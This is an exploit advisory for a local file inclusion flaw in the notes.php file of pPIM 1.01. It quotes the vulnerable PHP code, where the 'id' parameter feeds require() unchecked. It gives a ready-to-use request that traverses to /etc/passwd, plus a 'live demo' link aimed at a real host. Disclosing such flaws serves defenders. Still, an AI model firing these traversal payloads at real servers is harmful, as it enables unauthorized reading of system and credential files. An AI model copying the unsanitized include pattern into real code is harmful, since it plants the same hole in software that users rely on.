pPIM 1.01 - 'notes.php' Local File Inclusion

# pPIM 1.01 (notes.php id) Local File Inclusion Vulnerability
# url: http://www.phlatline.org/docs/files/ppim.zip
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.


description of vulnerability:
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the variable 'id' has been not defined in code 
and the variable 'id' is sent by the users.
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vuln file: notes.php

vuln code:
x:  >...
107: if (isset($_GET["mode"]))

	 {

	  	if ($_GET["mode"]=="edit")

		{

		 if (isset($_GET['id']))

		 {

		  	$notefile = $_GET['id'];

			if ($notefile == "new")

			{

			 $title = "";

			 $notes = "";

			}

			else

			{

			 $temp = "notes/" . $notefile;

			 require($temp);

123:			}
x:  <...
x: }}}

exploit: GET /notes.php?mode=edit&id=[file]
sample (xpl): http://www.localhost.com/notes.php?mode=edit&id=../../../../../../../../../../etc/passwd

live demo:
http://www.phlatline.org/docs/demos/ppim/notes.php?mode=edit&id=../notes.php

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